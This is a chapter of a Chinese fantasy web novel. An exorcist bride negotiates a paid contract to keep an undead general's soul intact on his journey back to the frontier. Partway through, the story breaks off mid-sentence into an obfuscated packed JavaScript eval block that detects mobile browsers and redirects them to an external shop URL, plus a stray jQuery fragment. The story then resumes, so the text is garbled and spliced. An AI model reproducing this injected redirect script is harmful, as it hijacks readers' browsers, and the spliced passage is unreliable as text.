“二位这是,夫妻对拜?”
管家觉得这对新人或许有点急切了,还没有等到他宣布仪式开始就已经急着拜堂了。
崔荧也觉得有点急切了,不是说好只是重伤吗?
眼前这怎么看怎么像“活尸”的家伙,这何止是快进了一步,这是直接快进到尸变了啊!
甩开裴绍疆的手,崔荧猛地向后退走一大步拉开了距离,对方像是还不明白她为什么要离开,手保持着刚刚姿势,视线缓慢地跟随着她移动。
看见崔荧明显的防备姿势,裴绍疆眼眶中幽蓝的魂火闪烁几下像是在思考什么,只见他一脚跨出棺材有些不耐烦地看向那些瑟瑟发抖的宾客们,似乎终于觉得他们的状况有些有碍观瞻,“都带下去。”
看见还站在原地的管家,像是怕他领会不到自己的意思,裴绍疆又认真地对着管家重复了一遍,“裴记,把他们都带走。”
面对裴绍疆的赶客裴记有些不爽,他还没看完热闹呢,可惜将军有令下人不得不服从,对着崔荧做了个“你完了”的口型后他竟真就这么乖乖地带着一屋子的魑魅魍魉退下了。
崔荧承认她前面是带着点偏见看事情了,没想到将军府爱好这么独特,裴记看起来还真是如假包换的原装管家,但现在这裴绍疆是什么情况,他这是要清场然后杀人灭口吗?
刚刚还热闹的喜堂里转眼间就只剩下两人面面相觑,崔荧摸了摸腰间的桃木剑突然感到有点紧张,裴绍疆现在的这种情况有些特殊,她不知道对方的状态是否是清醒的,万一他突然发难,崔荧不确定自己这次带的道具能不能对他生效。
按理来说裴绍疆在被那根长矛戳穿身体时便已经死亡了,但从那根断矛所在的位置和他身上所散发出的“气”来看,他现在体内的残魂分明是被战场上死人的怨气强行“粘”回体内的!
人死魂灭,裴绍疆在死后本该正常步入轮回,但阵亡将士的冤魂竟硬生生留住了他的残魂,以南漓术士的诅咒之物为锚点,以战场百万怨魂煞气为粘合剂,裴绍疆就这么以一副“行尸走肉”般的躯体一路从边关撑到了京城。
没有了周围的干扰,裴绍疆像是终于找回了活着时候的状态,“为什么假扮沈明珠?”
“沈充找你来替沈明珠给我‘治病’?”
“他是不是用家里那些法器作为报酬?”
崔荧设想了很多双方独处的场景,她连对方突然暴起伤人后她该用什么法器来应对都想好了,结果没想到裴绍疆不仅是保存了理智,甚至保存了智商!
还只用三句话就戳穿了她的真实身份和目的,连她收了沈家什么好处都猜的一清二楚。
沈充平时是把自己的绝密计划找人写成书信天天差人寄到将军府吗?
崔荧觉得自己现在的表情一定很谄媚,飞快的将沈充的委托讲了一遍后她还不忘补上一句“将军真乃神机妙算。”
谁知道裴绍疆像没听见她的解释一样,连眼皮都不抬一下的继续维持着他那副面无表情的脸。
崔荧等了良久没有下文,眼神不知不觉间跟随着他心口那截微微震颤的断矛,终究是职业病战胜了谨慎,她真诚的关心道:“将军,这‘异物’嵌在怨气节点上,会导致煞气周期性暴走,疼起来堪比凌迟吧?需不需要…”
“噗嗤!”
话还没说完,只见裴绍疆胸口断矛处猛地喷出一股粘稠黑血!
黑血直奔窗边而去,一个趁乱摸进来的‘魍’正试图舔舐窗棂上的符咒,斑斑血渍如活物般缠上画皮鬼,瞬间将其腐蚀成一滩腥臭脓水。
“…”
裴绍疆面无表情地收回目光,仿佛只是掸了掸灰,“吓到你了?”
“他们并不清楚我的真实状况,‘观音瓶’于我已是无用,你走吧,就算今日来的是沈明珠我也做好送她回去的准备了。”说到这里他像是有些不适应说这么长的句子,停顿了半晌才接着说道:“替我转告他们,裴某明日便会启程回边关,无需担心边关战事。”
强撑,听完裴绍疆的发言崔荧在心里翻了个大大的白眼。
就他如今这状况,如果南漓军队失了智直接出兵攻打京城,那倒是可以一夫当关万夫莫开,就他刚刚那招莫说以一敌十,便是一个人匹敌整个军队都不在话下。可惜裴绍疆如果想要迎战,要从京城到临城,一路上如果没有人稳定他的残魂,怕是会立刻引得断矛离体,不说自己会落得个魂飞魄散的下场,他体内所积压的滔天怨气会瞬间释放开来,毁灭方圆百里。
如果说沈充找到她做的交易是一锤子买卖,如今看见裴绍疆的状况崔荧觉得她即将迎来一位长期大客户。
想到那源源不断的银钱崔荧有些抑制不住激动道:“裴将军怕是说笑了,这方面我也算得上是专业的,专业人士何谈会被一只小小的‘魍’吓到呢,我们还是很有职业操守的。”
“不过裴将军,现在虽然沈大人用‘观音瓶’救治您的计划失败了,但在下看您这‘自动防御机制’如此耗费家具,这将军府又如此热闹,不如我们谈笔新的生意如何呢?”
“您放心,这交易内容不仅不会影响到您急于投入到边关战事的心,反倒是确保您平安抵达临城大杀四方的关键呢。”
这番话似乎终于引起了点裴绍疆的兴趣,他有些好奇的追问道:“你收了沈家的法器还不够,还想做什么交易?”
这话可谓是问到崔荧的心坎里了,只见她从嫁衣里掏出一卷契纸和一根朱砂笔,又翻出自己的账本开始对照着圈点勾画,顷刻间一份契约便草拟完成了,崔荧“哗啦”一下抖开契书,裴绍疆只看见上面上书几个大字——《定南将军府驱邪及活尸维保契约书》
“首先这是‘怨祟附轿’,戊级下等,驱散费三十文;这是‘振气凝神咒’,丙级咒法,使用费二十文;‘煞气结魂’,这个不得了,这可是乙级事件,按照律令驱散程序应提交当地官府,经由专人审核后统一发放酬劳,事件中优秀者还会被加封‘府州县十佳阴阳客’或‘大齐杰出国民’等称号。”
“还有刚刚被你像废纸一样从头上拿下来的东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315292|198939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叫‘镇魂符’这可是乙级上等一次性符箓……”
“所以这些和我有什么关系?”裴绍疆看着眼前身穿嫁衣的女子正手拿账本絮絮叨叨的讲着每一笔支出,这让他少见地感到几分迷茫,“你受沈充委托来替嫁,现在婚已经结完了,这个时间沈家父女估计早已出城,你收了钱办完了事剩下这些和我们将军府又有何干呢?”
“对,当然和贵府没有关系,这些都是崔某自己心甘情愿贴钱上班罢了。”崔荧面容扭曲的从牙缝里挤出这句话,这难道就是心痛到无以复加的感觉吗,“崔某本就是视钱财名利如身外之物的人啊,只是天生一副悲悯心肠,将军如今您是我们大齐唯一的胜算,我又怎能看您如此痛苦。”
“只要您在这里签字。”崔荧展开契约书并指了指下方的空白处,“不敢说让您起死回生,崔某定当为您重返战场赴汤蹈火在所不惜啊。”
仔细浏览这篇《定南将军府驱邪及活尸维保契约书》裴绍疆感觉他在新婚之夜遇见了上门广告宣传,而且他还真有些心动了。
契约书上写得非常清楚,崔荧本人不过问裴家的计划与安排,只负责对定南将军府的驱邪和裴绍疆本人的身体维修,她负责一路护送裴绍疆到边境临城,期间保证对方不会魂飞魄散煞气破体而亡,而在到达临城后双方契约就此解除好聚好散。
在契约延续期间崔荧的工钱为按日计算,在任务完成后经由统一结算,白银,黄金,法器,甚至是传世藏品字画都可作为工钱。
但有一条契约内容被崔荧用朱砂笔重点标记——【在契约期间为达成目的中途所消耗的法器与额外财务支出须由定南将军府全款报销】
看着这条重点标记裴绍疆有些疑惑地看向崔荧问道:“你很缺钱?”
“当然啊,你以为大家都和你们这些京中勋贵子弟一样吗?”
“我们这些穷人可是光活下去就已经拼尽全力了啊,你这富有的定南将军。”崔荧恶狠狠地抖了抖手中的契约书,意思是快点决定要不要签字,不要影响他们穷人找下一份工作。
裴绍疆从对方手中接过笔,脸上带着几分玩味的笑容,“当真对这一切都不感兴趣?”
他现在对面部表情的控制已不再像是刚刚醒来时那般僵硬,起码现下这种非常能代表富有之力的标准勋贵笑做起来还算是得心应手。
不过裴小将军显然是忘了自己面中那道狰狞的伤痕,在崔荧看来这杀神是挤出一分狰狞笑容,然后问出一个不要钱要命的问题。
真心只对将军府私库感兴趣的崔大师忙不迭地点头,她才对掉脑袋的事情没兴趣呢。
“不用对定南将军府做什么驱邪了,我离开后这里很快就会恢复正常。”
裴绍疆提笔划掉契约中有关定南将军府驱邪的事项,在空白处签上自己的名字后他伸手从怀中掏出一物与账本一同扔回崔荧,“收拾一下明天就出发,崔大师。”
崔荧看着手中还带着丝丝黑色煞气的金叶子露出了今晚最发自内心的笑容,“一切都听将军安排。”